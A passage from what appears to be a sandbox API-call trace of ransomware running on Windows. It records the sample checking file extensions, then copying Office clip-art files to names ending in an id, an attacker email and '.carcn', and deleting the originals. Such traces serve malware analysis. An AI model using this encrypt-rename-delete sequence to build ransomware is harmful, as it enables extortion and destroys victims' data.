68 [0296.445] lstrlenW (lpString=".zip") returned 4 [0296.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.445] lstrlenW (lpString=".rar") returned 4 [0296.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.445] lstrlenW (lpString=".bz2") returned 4 [0296.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.445] lstrlenW (lpString=".7z") returned 3 [0296.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.445] lstrlenW (lpString=".dbf") returned 4 [0296.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.445] lstrlenW (lpString=".1cd") returned 4 [0296.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.446] lstrlenW (lpString=".jpg") returned 4 [0296.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.446] lstrlenW (lpString=".doc") returned 4 [0296.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString=".docx") returned 5 [0296.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.446] lstrlenW (lpString=".pdf") returned 4 [0296.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString=".xls") returned 4 [0296.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.446] lstrlenW (lpString=".xlsx") returned 5 [0296.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.446] lstrlenW (lpString=".ppt") returned 4 [0296.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.446] lstrlenW (lpString=".zip") returned 4 [0296.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.446] lstrlenW (lpString=".rar") returned 4 [0296.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString=".bz2") returned 4 [0296.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.446] lstrlenW (lpString=".7z") returned 3 [0296.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.446] lstrlenW (lpString=".dbf") returned 4 [0296.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0296.447] lstrlenW (lpString=".1cd") returned 4 [0296.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 68 [0297.085] lstrlenW (lpString=".jpg") returned 4 [0297.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.086] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.086] lstrlenW (lpString="BL00242_.WMF") returned 12 [0297.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.086] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=4024) returned 1 [0297.086] CloseHandle (hObject=0x36c) returned 1 [0297.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0297.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.087] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.087] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0297.087] GetLastError () returned 0x0 [0297.087] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xfb8, lpOverlapped=0x0) returned 1 [0297.088] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xfc0, lpOverlapped=0x0) returned 1 [0297.089] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.089] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.089] SetEndOfFile (hFile=0x390) returned 1 [0297.089] CloseHandle (hObject=0x390) returned 1 [0297.089] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.089] SetEndOfFile (hFile=0x36c) returned 1 [0297.090] CloseHandle (hObject=0x36c) returned 1 [0297.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.090] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0297.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.091] lstrlenW (lpString=".doc") returned 4 [0297.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.091] lstrlenW (lpString=".docx") returned 5 [0297.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.091] lstrlenW (lpString=".pdf") returned 4 [0297.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.091] lstrlenW (lpString=".xls") returned 4 [0297.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.091] lstrlenW (lpString=".xlsx") returned 5 [0297.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.091] lstrlenW (lpString=".ppt") returned 4 [0297.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.091] lstrlenW (lpString=".zip") returned 4 [0297.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.091] lstrlenW (lpString=".rar") returned 4 [0297.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.091] lstrlenW (lpString=".bz2") returned 4 [0297.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.091] lstrlenW (lpString=".7z") returned 3 [0297.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.092] lstrlenW (lpString=".dbf") returned 4 [0297.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.092] lstrlenW (lpString=".1cd") returned 4 [0297.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.092] lstrlenW (lpString=".jpg") returned 4 [0297.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.092] lstrlenW (lpString=".doc") returned 4 [0297.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString=".docx") returned 5 [0297.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.092] lstrlenW (lpString=".pdf") returned 4 [0297.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString=".xls") returned 4 [0297.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.092] lstrlenW (lpString=".xlsx") returned 5 [0297.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.092] lstrlenW (lpString=".ppt") returned 4 [0297.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.092] lstrlenW (lpString=".zip") returned 4 [0297.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.092] lstrlenW (lpString=".rar") returned 4 [0297.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString=".bz2") returned 4 [0297.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.092] lstrlenW (lpString=".7z") returned 3 [0297.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.093] lstrlenW (lpString=".dbf") returned 4 [0297.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.093] lstrlenW (lpString=".1cd") returned 4 [0297.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 68 [0297.093] lstrlenW (lpString=".jpg") returned 4 [0297.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.093] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.093] lstrlenW (lpString="BL00247_.WMF") returned 12 [0297.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.093] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=14444) returned 1 [0297.094] CloseHandle (hObject=0x36c) returned 1 [0297.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0297.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.094] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.094] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0297.095] GetLastError () returned 0x0 [0297.095] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x386c, lpOverlapped=0x0) returned 1 [0297.096] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x3870, lpOverlapped=0x0) returned 1 [0297.098] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.098] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.098] SetEndOfFile (hFile=0x390) returned 1 [0297.098] CloseHandle (hObject=0x390) returned 1 [0297.099] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.099] SetEndOfFile (hFile=0x36c) returned 1 [0297.100] CloseHandle (hObject=0x36c) returned 1 [0297.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0297.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.101] lstrlenW (lpString=".doc") returned 4 [0297.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString=".docx") returned 5 [0297.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.101] lstrlenW (lpString=".pdf") returned 4 [0297.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString=".xls") returned 4 [0297.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.101] lstrlenW (lpString=".xlsx") returned 5 [0297.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.101] lstrlenW (lpString=".ppt") returned 4 [0297.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.101] lstrlenW (lpString=".zip") returned 4 [0297.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.101] lstrlenW (lpString=".rar") returned 4 [0297.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString=".bz2") returned 4 [0297.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString=".7z") returned 3 [0297.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.101] lstrlenW (lpString=".dbf") returned 4 [0297.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.101] lstrlenW (lpString=".1cd") returned 4 [0297.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.102] lstrlenW (lpString=".jpg") returned 4 [0297.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.102] lstrlenW (lpString=".doc") returned 4 [0297.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString=".docx") returned 5 [0297.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.102] lstrlenW (lpString=".pdf") returned 4 [0297.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString=".xls") returned 4 [0297.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.102] lstrlenW (lpString=".xlsx") returned 5 [0297.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.102] lstrlenW (lpString=".ppt") returned 4 [0297.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.102] lstrlenW (lpString=".zip") returned 4 [0297.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.102] lstrlenW (lpString=".rar") returned 4 [0297.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString=".bz2") returned 4 [0297.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString=".7z") returned 3 [0297.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.102] lstrlenW (lpString=".dbf") returned 4 [0297.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.102] lstrlenW (lpString=".1cd") returned 4 [0297.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0297.103] lstrlenW (lpString=".jpg") returned 4 [0297.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.103] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.103] lstrlenW (lpString="BL00248_.WMF") returned 12 [0297.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.103] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=1536) returned 1 [0297.103] CloseHandle (hObject=0x36c) returned 1 [0297.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0297.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0297.104] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.104] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0297.105] GetLastError () returned 0x0 [0297.105] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x600, lpOverlapped=0x0) returned 1 [0297.106] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x610, lpOverlapped=0x0) returned 1 [0297.107] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0297.107] WriteFile (in: hFile=0x390, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0297.107] SetEndOfFile (hFile=0x390) returned 1 [0297.107] CloseHandle (hObject=0x390) returned 1 [0297.107] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0297.107] SetEndOfFile (hFile=0x36c) returned 1 [0297.108] CloseHandle (hObject=0x36c) returned 1 [0297.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0297.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.109] lstrlenW (lpString=".doc") returned 4 [0297.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.109] lstrlenW (lpString=".docx") returned 5 [0297.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.109] lstrlenW (lpString=".pdf") returned 4 [0297.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.109] lstrlenW (lpString=".xls") returned 4 [0297.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.109] lstrlenW (lpString=".xlsx") returned 5 [0297.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.109] lstrlenW (lpString=".ppt") returned 4 [0297.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0297.109] lstrlenW (lpString=".zip") returned 4 [0297.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.109] lstrlenW (lpString=".rar") returned 4 [0297.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.109] lstrlenW (lpString=".bz2") returned 4 [0297.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.109] lstrlenW (lpString=".7z") returned 3 